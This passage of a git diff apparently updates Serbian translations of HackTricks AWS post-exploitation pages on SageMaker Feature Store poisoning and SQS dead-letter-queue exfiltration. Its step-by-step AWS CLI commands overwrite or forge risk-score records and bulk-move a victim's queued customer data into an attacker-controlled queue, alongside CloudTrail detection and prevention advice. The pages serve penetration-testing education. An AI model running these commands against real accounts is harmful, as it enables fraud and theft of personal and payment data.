kontrolom napadača. Pipelines koji automatski deploy-uju Approved models mogu povući i pokrenuti attacker image, što dovodi do izvršavanja koda pod endpoint/training rolama. -- Sa permisivnom ModelPackageGroup resource policy (PutModelPackageGroupPolicy), ova zloupotreba se može pokrenuti cross-account. +- Poison the Model Registry sa Approved verzijom koja referencira kod pod kontrolom napadača. Pipelines koje automatski deploy-uju Approved modele mogu povući i pokrenuti napadačev image, što može dovesti do izvršavanja koda pod endpoint/training roles. +- Sa permisivnom ModelPackageGroup resource policy (PutModelPackageGroupPolicy), ova zloupotreba može biti pokrenuta cross-account. -## Zatrovanje Feature store +## Feature store poisoning -Zlorabiti `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-e. Ovo ne zahteva pristup models ili endpoints. +Zloupotrebite `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-e. Ovo ne zahteva pristup modelima ili endpointima. {{#ref}} feature-store-poisoning.md {{/ref}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index cf89d72c5..27b67357b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -1,17 +1,19 @@ # SageMaker Feature Store online store poisoning -Iskoristite `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete aktivne vrednosti feature-ova koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-ove i izneti poverljive ML podatke. Ovo ne zahteva pristup modelima ili endpoint-ima, što ga čini direktnim napadom na sloj podataka. +{{#include ../../../../banners/hacktricks-training.md}} + +Iskoristiti `sagemaker:PutRecord` na Feature Group-u sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-e. Ovo ne zahteva pristup modelima ili endpoint-ima. ## Zahtevi - Dozvole: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- Cilj: Feature Group sa omogućenim OnlineStore (obično podržava inferencu u realnom vremenu) -- Složenost: **NISKO** - Jednostavne AWS CLI komande, nije potrebna manipulacija modelom +- Cilj: Feature Group sa omogućenim OnlineStore (obično podržava real-time inference) +- Složenost: **LOW** - Jednostavne AWS CLI komande, nije potrebna manipulacija modelima ## Koraci -### Prikupljanje informacija +### Reconnaissance -1) Navesti Feature Groups sa omogućenim OnlineStore +1) Nabrojite Feature Groups sa omogućenim OnlineStore ```bash REGION=${REGION:-us-east-1} aws sagemaker list-feature-groups \ @@ -26,9 +28,9 @@ aws sagemaker describe-feature-group \ --region $REGION \ --feature-group-name "$FG" ``` -Obratite pažnju na `RecordIdentifierFeatureName`, `EventTimeFeatureName`, i sve definicije feature-a. Oni su potrebni za sastavljanje validnih zapisa. +Obratite pažnju na `RecordIdentifierFeatureName`, `EventTimeFeatureName` i sve definicije feature-a. Oni su potrebni za kreiranje važećih zapisa. -### Attack Scenario 1: Data Poisoning (Overwrite Existing Records) +### Scenarij napada 1: Data Poisoning (Overwrite Existing Records) 1) Pročitajte trenutni legitimni zapis ```bash @@ -37,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -2) Zatrovaj zapis malicioznim vrednostima koristeći inline `--record` parametar +2) Zatrovati zapis zlonamernim vrednostima koristeći inline `--record` parametar ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \ ]" \ --target-stores OnlineStore ``` -3) Proverite poisoned data +3) Proverite zatrovane podatke ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -**Uticaj**: ML modeli koji koriste ovu karakteristiku će sada videti `risk_score=0.99` za legitimnog korisnika, što može potencijalno blokirati njihove transakcije ili usluge. +**Uticaj**: ML modeli koji koriste ovu feature sada će videti `risk_score=0.99` za legitimnog korisnika, potencijalno blokirajući njihove transakcije ili usluge. -### Scenarij napada 2: Malicious Data Injection (Create Fraudulent Records) +### Scenarij napada 2: Maliciozna injekcija podataka (Kreiranje lažnih zapisa) -Ubaci potpuno nove zapise sa manipulisanim atributima kako bi zaobišao sigurnosne kontrole: +Injektujte potpuno nove zapise sa manipulisanim atributima kako biste izbegli sigurnosne kontrole: ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \ ]" \ --target-stores OnlineStore ``` -Proverite injection: +Potvrdite injection: ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-999 ``` -**Uticaj**: Napadač kreira lažni identitet sa niskim skorom rizika (0.01) koji može da izvrši visokovredne prevarantske transakcije bez aktiviranja sistema za otkrivanje prevara. +**Uticaj**: Napadač kreira lažni identitet sa niskom ocenom rizika (0.01) koji može da izvede visokovredne prevarantske transakcije bez aktiviranja sistema za otkrivanje prevara. ### Scenarij napada 3: Eksfiltracija osetljivih podataka -Pročitajte više zapisa da biste izvukli poverljive karakteristike i profilisali ponašanje modela: +Pročitajte više zapisa da biste izvukli poverljive atribute i profilisali ponašanje modela: ```bash # Exfiltrate data for known users for USER_ID in user-001 user-002 user-003 user-999; do @@ -104,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \ --record-identifier-value-as-string ${USER_ID} done ``` -**Uticaj**: Poverljivi atributi (ocene rizika, obrasci transakcija, lični podaci) izloženi napadaču. +**Uticaj**: Poverljive karakteristike (ocene rizika, obrasci transakcija, lični podaci) izložene napadaču. -### Kreiranje test/demo Feature Group (opcioni) +### Kreiranje test/demo Feature Group-a (opciono) Ako treba da kreirate test Feature Group: ```bash @@ -141,20 +143,6 @@ fi echo "Feature Group ready: $FG" ``` -## Detekcija - -Nadgledajte CloudTrail za sumnjive obrasce: -- `PutRecord` događaji od neobičnih IAM principal-a ili IP adresa -- Visoka frekvencija `PutRecord` ili `GetRecord` poziva -- `PutRecord` sa anomalnim vrednostima feature-a (npr., risk_score izvan uobičajenog opsega) -- Masovne `GetRecord` operacije koje ukazuju na masovnu eksfiltraciju podataka -- Pristup van uobičajenog radnog vremena ili iz neočekivanih lokacija - -Implementirajte detekciju anomalija: -- Validacija vrednosti feature-a (npr., risk_score mora biti 0.0-1.0) -- Analiza obrazaca zapisa (frekvencija, tajming, identitet izvora) -- Detekcija data drift-a (nenadane promene u distribucijama feature-a) - ## References - [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) - [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md index b8624b90c..445fc2b6e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -1,53 +1,55 @@ -# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask +# AWS – SQS DLQ Redrive Exfiltration putem StartMessageMoveTask -## Description +{{#include ../../../banners/hacktricks-training.md}} -Iskoristite SQS message move tasks da biste ukrali sve akumulirane poruke iz žrtvinog Dead-Letter Queue (DLQ) preusmeravanjem u red koji kontroliše napadač koristeći `sqs:StartMessageMoveTask`. Ova tehnika zloupotrebljava legitimnu AWS funkciju za oporavak poruka kako bi se eksfiltrirali osetljivi podaci koji su se vremenom nakupili u DLQ-ovima. +## Opis -## What is a Dead-Letter Queue (DLQ)? +Zloupotrebite SQS message move tasks da ukradete sve akumulirane poruke iz Dead-Letter Queue (DLQ) žrtve preusmeravanjem u red koji kontroliše napadač koristeći `sqs:StartMessageMoveTask`. Ova tehnika iskorišćava legitimnu AWS funkciju za oporavak poruka da bi exfiltrirala osetljive podatke koji su se vremenom nagomilali u DLQ-evima. -A Dead-Letter Queue je specijalan SQS queue u koji se poruke automatski šalju kada se ne uspešno obrade u glavnoj aplikaciji. Ove neuspele poruke često sadrže: -- Osetljive podatke aplikacije koji nisu mogli biti obrađeni -- Detalje o greškama i informacije za debug +## Šta je Dead-Letter Queue (DLQ)? + +A Dead-Letter Queue je poseban SQS red u koji se poruke automatski šalju kada ne uspeju da budu uspešno obrađene od strane glavne aplikacije. Te neuspešne poruke često sadrže: +- Osetljive podatke aplikacije koje nije bilo moguće obraditi +- Detalje o greškama i informacije za debagovanje - Personal Identifiable Information (PII) -- API tokene, kredencijale ili druge tajne -- Poslovno kritične podatke o transakcijama +- API tokens, kredencijale ili druge tajne +- Poslovno-kritične podatke o transakcijama -DLQ-ovi funkcionišu kao "groblje" za neuspele poruke, što ih čini vrednim metama jer se vremenom u njima akumuliraju osetljivi podaci koje aplikacije nisu mogle ispravno obraditi. +DLQ-evi funkcionišu kao "groblje" za neuspešne poruke, što ih čini vrednim metama jer se vremenom u njima nagomilavaju osetljivi podaci koje aplikacije nisu pravilno obradile. -## Attack Scenario +## Scenarij napada -**Real-world example:** -1. **E-commerce application** obrađuje porudžbine kupaca kroz SQS -2. **Neke porudžbine zakažu** (problemi sa plaćanjem, zalihe, itd.) i budu premeštene u DLQ -3. **DLQ akumulira** nedelje/meseci neuspelih porudžbina koje sadrže podatke o kupcima: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` -4. **Napadač dobija pristup** AWS credential-ima sa SQS dozvolama -5. **Napadač otkriva** da DLQ sadrži hiljade neuspelih porudžbina sa osetljivim podacima -6. **Umesto pokušaja pristupa pojedinačnim porukama** (sporo i očigledno), napadač koristi `StartMessageMoveTask` da u bulk-u prebaci SVE poruke u sopstveni queue -7. **Napadač izvuče** sve istorijske osetljive podatke u jednoj operaciji +**Primer iz stvarnog sveta:** +1. **Aplikacija za e-trgovinu** obrađuje porudžbine kupaca preko SQS-a +2. **Neke porudžbine neuspeju** (problemi sa plaćanjem, zalihe, itd.) i budu prebačene u DLQ +3. **DLQ se nagomilava** nedeljama/mesecima neuspešnih porudžbina koje sadrže podatke kupaca: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **Napadač dobija pristup** AWS akreditivima sa SQS dozvolama +5. **Napadač otkriva** da DLQ sadrži hiljade neuspešnih porudžbina sa osetljivim podacima +6. **Umesto da pokušava da pristupi pojedinačnim porukama** (sporo i očigledno), napadač koristi `StartMessageMoveTask` za masovni transfer SVIH poruka u sopstveni red +7. **Napadač izvlači** sve istorijske osetljive podatke jednim potezom -## Requirements -- Izvorni queue mora biti konfigurisан kao DLQ (referenciran od strane bar jednog queue RedrivePolicy). -- IAM permissions (izvodi se kao kompromitovani žrtvin principal): -- Na DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. -- Na destination queue: dozvola za dostavljanje poruka (npr. queue policy koja dozvoljava `sqs:SendMessage` od žrtvinog principala). Za destinacije u istom nalogu ovo je obično po defaultu dozvoljeno. -- Ako je SSE-KMS omogućen: na source CMK `kms:Decrypt`, i na destination CMK `kms:GenerateDataKey`, `kms:Encrypt`. +## Zahtevi +- Izvorni red mora biti konfigurisan kao DLQ (referenciran bar od strane jednog reda preko RedrivePolicy). +- IAM dozvole (pokreće se kao kompromitovani principal žrtve): + - Na DLQ (izvor): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. + - Na red odredištu: dozvola za isporuku poruka (npr. politika reda koja omogućava `sqs:SendMessage` od strane principal-a žrtve). Za destinacije u istom account-u ovo je obično dozvoljeno podrazumevano. +- Ako je omogućen SSE-KMS: na izvornoj CMK `kms:Decrypt`, i na destinacionoj CMK `kms:GenerateDataKey`, `kms:Encrypt`. -## Impact -Exfiltrate osetljive payload-e akumulirane u DLQ-ovima (neuspešni eventi, PII, tokeni, payload-i aplikacija) velikom brzinom koristeći native SQS API-je. Radi cross-account ako destination queue policy dozvoljava `SendMessage` od žrtvinog principala. +## Uticaj +Exfiltrate osetljive payload-e nagomilane u DLQ-evima (neuspešni eventi, PII, tokens, payload-i aplikacija) velikom brzinom koristeći native SQS API-je. Radi cross-account ako politika reda odredišta dozvoljava `SendMessage` od strane principal-a žrtve. -## How to Abuse +## Kako zloupotrebiti -- Identifikujte ARN žrtvinog DLQ-a i uverite se da je zaista referenciran kao DLQ od strane nekog queue-a (bilo koji queue je dovoljan). -- Kreirajte ili izaberite destination queue pod kontrolom napadača i dobijte njegov ARN. -- Pokrenite message move task sa žrtvinog DLQ-a na vaš destination queue. +- Identifikujte ARN DLQ žrtve i proverite da li je zaista referenciran kao DLQ od strane nekog reda (bilo koji red je dovoljan). +- Kreirajte ili izaberite red odredište koji kontroliše napadač i nabavite njegov ARN. +- Pokrenite message move task iz DLQ-a žrtve do vašeg reda odredišta. - Pratite napredak ili otkažite po potrebi. ### CLI Example: Exfiltrating Customer Data from E-commerce DLQ -**Scenario**: Napadač je kompromitovao AWS kredencijale i otkrio da e-commerce aplikacija koristi SQS sa DLQ-om koji sadrži neuspešne pokušaje obrade porudžbina kupaca. +**Scenario**: Napadač je kompromitovao AWS akreditive i otkrio da aplikacija za e-trgovinu koristi SQS sa DLQ-om koji sadrži neuspešne pokušaje obrade porudžbina kupaca. -1) **Discover and examine the victim DLQ** +1) **Otkrivanje i pregled DLQ-a žrtve** ```bash # List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.) aws sqs list-queues --queue-name-prefix dlq @@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \ --attribute-names ApproximateNumberOfMessages # Output might show: "ApproximateNumberOfMessages": "1847" ``` -2) **Kreirajte destinacijsku queue pod kontrolom napadača** +2) **Kreirajte odredišni red pod kontrolom napadača** ```bash # Create our exfiltration queue ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text) @@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at echo "Created exfiltration queue: $ATTACKER_Q_ARN" ``` -3) **Izvršite masovnu krađu poruka** +3) **Izvršite bulk message theft** ```bash # Start moving ALL messages from victim DLQ to our queue # This operation will transfer thousands of failed orders containing customer data @@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE" # Monitor the theft progress aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10 ``` -4) **Prikupite ukradene osetljive podatke** +4) **Prikupi ukradene osetljive podatke** ```bash # Receive the exfiltrated customer data echo "Receiving stolen customer data..." @@ -113,21 +115,21 @@ echo "Received batch of stolen data..." echo "$MESSAGES" >> stolen_customer_data.json done ``` -### Napomene o Cross-account -- Odredišna queue mora imati resource policy koji omogućava victim principal-u da `sqs:SendMessage` (i, ako se koristi, KMS grants/permissions). +### Napomene za cross-account +- Odredišna queue mora imati resource policy koji dopušta victim principal-u da `sqs:SendMessage` (i, ako se koristi, KMS grants/permissions). ## Zašto je ovaj napad efikasan -1. **Legitimate AWS Feature**: Koristi ugrađenu AWS funkcionalnost, zbog čega je teško otkriti kao zlonamerno -2. **Bulk Operation**: Premešta hiljade poruka brzo umesto sporog pojedinačnog pristupa +1. **Legitimate AWS Feature**: Koristi ugrađenu AWS funkcionalnost, što ga čini teškim za otkrivanje kao zlonameran +2. **Bulk Operation**: Prenosi na hiljade poruka brzo umesto sporog pojedinačnog pristupa 3. **Historical Data**: DLQs akumuliraju osetljive podatke tokom nedelja/meseci -4. **Under the Radar**: Mnoge organizacije ne prate pristup DLQ-ovima pažljivo -5. **Cross-Account Capable**: Može exfiltrate u napadačev sopstveni AWS nalog ako su dozvole omogućene +4. **Under the Radar**: Mnoge organizacije ne prate pristup DLQ-ovima detaljno +5. **Cross-Account Capable**: Može izvršiti eksfiltraciju u napadačev sopstveni AWS nalog ako dozvole to omogućavaju -## Detekcija i prevencija +## Otkrivanje i prevencija -### Detekcija -Pratite CloudTrail zbog sumnjivih `StartMessageMoveTask` API poziva: +### Otkrivanje +Pratite CloudTrail za sumnjive `StartMessageMoveTask` API pozive: ```json { "eventName": "StartMessageMoveTask", @@ -143,8 +145,10 @@ Pratite CloudTrail zbog sumnjivih `StartMessageMoveTask` API poziva: } ``` ### Prevencija -1. **Least Privilege**: Ograničiti `sqs:StartMessageMoveTask` dozvole samo na neophodne role -2. **Monitor DLQs**: Podesiti CloudWatch alarme za neobičnu aktivnost DLQs -3. **Cross-Account Policies**: Pažljivo pregledati SQS queue policies koje omogućavaju cross-account pristup -4. **Encrypt DLQs**: Koristiti SSE-KMS sa ograničenim politikama ključeva -5. **Regular Cleanup**: Ne dozvoljavati da se osetljivi podaci neograničeno akumuliraju u DLQs +1. **Princip najmanjih privilegija**: Ograničite `sqs:StartMessageMoveTask` dozvole samo na neophodne uloge +2. **Nadzor DLQ-ova**: Podesite CloudWatch alarme za neuobičajenu aktivnost DLQ-ova +3. **Politike za pristup između naloga**: Pažljivo pregledajte SQS queue policies koje omogućavaju pristup iz drugih naloga +4. **Šifrovanje DLQ-ova**: Koristite SSE-KMS sa ograničenim politikama ključeva +5. **Redovno čišćenje**: Ne dozvolite da se osetljivi podaci neograničeno nakupljaju u DLQ-ovima + +{{#include ../../../banners/hacktricks-training.md}}